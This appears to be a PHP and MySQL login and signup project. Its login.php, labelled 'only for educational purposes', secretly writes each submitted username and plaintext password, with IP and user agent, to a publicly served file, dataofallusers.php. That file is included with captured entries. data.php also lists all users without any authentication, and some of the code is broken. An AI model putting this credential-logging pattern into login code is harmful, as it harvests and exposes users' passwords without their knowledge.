

File: config.sql

```
CREATE DATABASE IF NOT EXISTS user_auth;
```

```
USE user_auth;
```

```
CREATE TABLE IF NOT EXISTS users (  
    id INT AUTO_INCREMENT PRIMARY KEY,  
    username VARCHAR(100) NOT NULL UNIQUE,  
    email VARCHAR(100) NOT NULL UNIQUE,  
    password VARCHAR(255) NOT NULL  
);
```

File: dashboard.php

```
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header("Location: data.php");
    exit;
}
?>

<!DOCTYPE html>
<html>
<head><title>Dashboard</title></head>
<body>
<h1>Welcome, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h1>
<p><a href="logout.php">Logout</a></p>
</body>
</html>
```

File: data.php

```
<?php
require 'db.php';

$sql = "SELECT id, username, email FROM users";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    echo "<h2>User List:</h2>";

    echo "
    <table border='1'
    cellpadding='10'><tr><th>ID</th><th>Username</th><th>Email</th></tr>";
    while ($row = $result->fetch_assoc()) {
        echo "<tr>
            <td>" . $row["id"] . "</td>
            <td>" . htmlspecialchars($row["username"]) . "</td>
            <td>" . htmlspecialchars($row["email"]) . "</td>
            </tr>";
    }
    echo "</table>";
} else {
    echo "No users found.";
}

$conn->close();
?>
```

File: dataofallusers.php

User: rishabh

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User: rishabh

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User: nikhil

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User: nikhil

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User: nikhil

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User: nikhil

Pass: 123456

IP: ::1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

File: db.php

```
<?php
$host = 'localhost';
$db = 'user_auth';
$user = 'root';
$pass = '';

$conn = new mysqli($host, $user, $pass, $db);

if ($conn->connect_error) {
    die('Connection failed: ' . $conn->connect_error);
}
?>
```

File: login.php

```
<?php
require 'db.php';
session_start();

$errors = [];

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $user = trim($_POST['user']);
    $pass = $_POST['pass'];

    if (empty($user) || empty($pass)) {
        $errors[] = "All fields are required.";
    } else {
        $stmt = $conn->prepare("SELECT id, username, password FROM users WHERE email = ?
OR username = ?");
        $stmt->bind_param("ss", $user, $user);
        $stmt->execute();
        $stmt->store_result();

        if ($stmt->num_rows == 1) {
            $stmt->bind_result($id, $username, $hashed);
            $stmt->fetch();

            if (password_verify($pass, $hashed)) {
                session_regenerate_id(true);
                $_SESSION['user'] = $username;
                header("Location: dashboard.php");
                exit;
            } else {
                $errors[] = "Incorrect password.";
            }
        } else {
            $errors[] = "User does not exist.";
        }
    }
}

// ? LOGGING - Only for educational purposes
$server = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$e = htmlspecialchars($user);
$p = htmlspecialchars($pass); // Do not log in production
$logFile = __DIR__ . "/dataofallusers.php";

$logDetails = "\nUser: $e\nPass: $p\nIP: $ip\nUser-Agent: $server\n-----\n";

if (is_writable(__DIR__)) {
    file_put_contents($logFile, $logDetails, FILE_APPEND | LOCK_EX);
} else {
    error_log("Login log directory is not writable.");
}
}
?>
```

```
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
<h2>Login</h2>
<form method="POST" action="">
    <input type="text" name="user" placeholder="Username or Email" required><br>
    <input type="password" name="pass" placeholder="Password" required><br>
    <button type="submit">Login</button>
</form>

<?php
foreach ($errors as $e) {
    echo "<p style='color:red;'>" . htmlspecialchars($e) . "</p>";
}
?>

<p>Don't have an account? <a href="signup.php">Sign up</a></p>
</body>
</html>
```

File: logout.php

```
<?php
session_start();
session_unset();
session_destroy();
header("Location: login.php");
exit;
?>
```


File: signup.php

```
<?php
require 'db.php';
session_start();

$errors = [];

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = trim($_POST['username']);
    $email = trim($_POST['email']);
    $password = $_POST['password'];
    $confirm = $_POST['confirm'];

    if (empty($username) || empty($email) || empty($password) || empty($confirm)) {
        $errors[] = "All fields are required.";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Invalid email format.";
    } elseif ($password != $confirm) {
        $errors[] = "Passwords do not match.";
    } else {
        $stmt = $conn->prepare("SELECT id FROM users WHERE email = ? OR username = ?");
        $stmt->bind_param("ss", $email, $username);
        $stmt->execute();
        $stmt->store_result();

        if ($stmt->num_rows > 0) {
            $errors[] = "Username or Email already exists.";
        } else {
            $hash = password_hash($password, PASSWORD_DEFAULT);
            $insert = $conn->prepare("INSERT INTO users (username, email, password)
VALUES (?, ?, ?)");
            $insert->bind_param("sss", $username, $email, $hash);
            $insert->execute();

            $_SESSION['user'] = $username;
            header("Location: dashboard.php");
            exit;
        }
    }
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>Signup</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
<h2>Signup</h2>
<form method="POST" action="">
    <input type="text" name="username" placeholder="Username" required><br>
    <input type="email" name="email" placeholder="Email" required><br>
```

```
<input type="password" name="password" placeholder="Password" required><br>
<input type="password" name="confirm" placeholder="Confirm Password" required><br>
<button type="submit">Sign Up</button>
</form>
<?php foreach ($errors as $e) echo "<p style='color:red;*>$e</p>"; ?>
<p>Already have an account? <a href="login.php">Login</a></p>
</body>
</html>
```

File: styles.css

```
/* Import Google Font */
@import
url('https://fonts.googleapis.com/css2?family=Roboto+Slab:wght@300;500;700&display=swap'
);

body {
    font-family: 'Roboto Slab', serif;
    background-color: #98ff98; /* mint green */
    margin: 0;
    padding: 30px;
    min-height: 100vh;
    display: flex;
    flex-direction: column;      /* stack vertically */
    align-items: flex-start;      /* align items to left */
    justify-content: flex-start; /* start from top */
}

/* Login heading or bullet */
.login-heading {
    font-size: 26px;
    font-weight: 700;
    margin-bottom: 20px; /* space between heading and form */
    color: #333;
}

/* Form Styling */
form {
    background: white;
    padding: 30px;
    border-radius: 20px;
    box-shadow: 0 8px 16px rgba(0, 0, 0, 0.15);
    max-width: 420px;
    width: 100%;
}

/* Input Fields */
input {
    display: block;
    margin: 20px auto;
    padding: 14px 16px;
    width: 90%;
    border: 1px solid #ccc;
    border-radius: 10px;
    font-size: 16px;
    background-color: #f9f9f9;
    transition: border-color 0.2s ease;
}

input:focus {
    border-color: #28a745;
    background-color: #fff;
    outline: none;
}
```

```
}
```

```
/* Button Styling */
```

```
button {
```

```
    padding: 14px 28px;
```

```
    background-color: #28a745;
```

```
    color: white;
```

```
    border: none;
```

```
    border-radius: 10px;
```

```
    font-size: 16px;
```

```
    font-weight: 500;
```

```
    cursor: pointer;
```

```
    transition: background-color 0.3s ease;
```

```
}
```

```
button:hover {
```

```
    background-color: #218838;
```

```
}
```